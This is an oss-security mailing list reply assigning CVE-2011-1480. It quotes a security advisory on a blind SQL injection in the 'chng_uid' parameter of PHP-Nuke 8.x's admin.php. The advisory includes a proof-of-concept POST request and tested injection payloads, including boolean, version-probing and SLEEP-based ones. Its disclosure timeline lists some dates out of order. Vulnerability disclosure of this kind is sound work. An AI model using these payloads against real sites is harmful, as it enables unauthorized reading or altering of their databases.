Date: Wed, 30 Mar 2011 15:37:02 -0400 (EDT) From: Josh Bressers <bressers@...hat.com> To: oss-security@...ts.openwall.com Cc: coley <coley@...re.org> Subject: Re: CVE Request: PHP-Nuke 8.x <= "chng_uid" Blind SQL Injection Vulnerability Please use CVE-2011-1480. Thanks. -- JB ----- Original Message ----- > PHP-Nuke 8.x <= Blind SQL Injection Vulnerability > > > > 1. OVERVIEW > > The administration backend of PHP-Nuke 8.x is vulnerable to Blind SQL > Injection. > > > 2. BACKGROUND > > PHP-Nuke is a Web Portal System or content management system. The goal > of PHP-Nuke is to have an automated web site to distribute news and > articles with users system. Each user can submit comments to discuss > the articles. Main features include: web based admin, surveys, top > page, access stats page with counter, user customizable box, themes > manager for registered users, friendly administration GUI with graphic > topic manager, option to edit or delete stories, option to delete > comments, moderation system, Referrers page to know who link us, > sections manager, customizable HTML blocks, user and authors edit, an > integrated Banners Ads system, search engine, backend/headlines > generation (RSS/RDF format), and many, many more friendly functions. > > > 3. VULNERABILITY DESCRIPTION > > The "chng_uid" parameter is not properly sanitized upon submission to > the /admin.php which leads to Blind SQL Injection vulnerability. > This allows an attacker to inject or manipulate SQL queries in the > back-end database, allowing for the manipulation or disclosure of > arbitrary data. > > > 4. VERSIONS AFFECTED > > 8.0 and lower > > Tested version: 8.0 > The paid versions, 8.1 and 9.0, of php-Nuke may be vulnerable as well. > > > 5. PROOF-OF-CONCEPT/EXPLOIT > > => /admin.php > > POST /admin.php HTTP/1.1 > Referer: http://localhost/admin.php?op=mod_users > Content-Type: application/x-www-form-urlencoded > Host: localhost > > chng_uid=[BLIND_SQL_INJECTION]+&op=modifyUser > > > Tested Payloads: > ' or 1=1-- [TRUE] > ' or 1=2-- [FALSE] > ' or substring(@@version,1,1)=5-- [TRUE if mySQL version is 5.x] > ' or substring(@@version,1,1)=4-- [FALSE if mySQL version is 5.x] > ' or SLEEP(15)=0-- [sleep for 15 seconds] > > Successful response (True) returns the user update form page. > > > 6. SOLUTION > > Lock down access to php-Nuke administration backend. > No patch is available yet. > Use of this product is NOT recommended because of long lack of update > and vendor negligence about security reports. > > > 7. VENDOR > > php-Nuke Developers > http://phpnuke.org/ > > > 8. CREDIT > > Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. > > > 9. DISCLOSURE TIME-LINE > > 2011-01-01: contacted author through emails > 2011-01-25: contacted author through web site contact form > 2010-03-23: no replies from author > 2010-03-23: vulnerability disclosed > > > 10. REFERENCES > > Original Advisory URL: > http://yehg.net/lab/pr0js/advisories/[phpnuke-8.x]_sql_injection > About PHP-Nuke: http://en.wikipedia.org/wiki/PHP-Nuke > PHP-Nuke 8.0: > http://phpnuke.org/modules.php?name=Downloads&d_op=getit&lid=658 > CWE-89: http://cwe.mitre.org/data/definitions/89.html > > > > #yehg [2010-03-23] > > keywords: php nuke, php-nuke, phpnuke, 8.0, 8.1, blind, sqlin, sql > injection > > --------------------------------- > Best regards, > YGN Ethical Hacker Group > Yangon, Myanmar > http://yehg.net > Our Lab | http://yehg.net/lab > Our Directory | http://yehg.net/hwd
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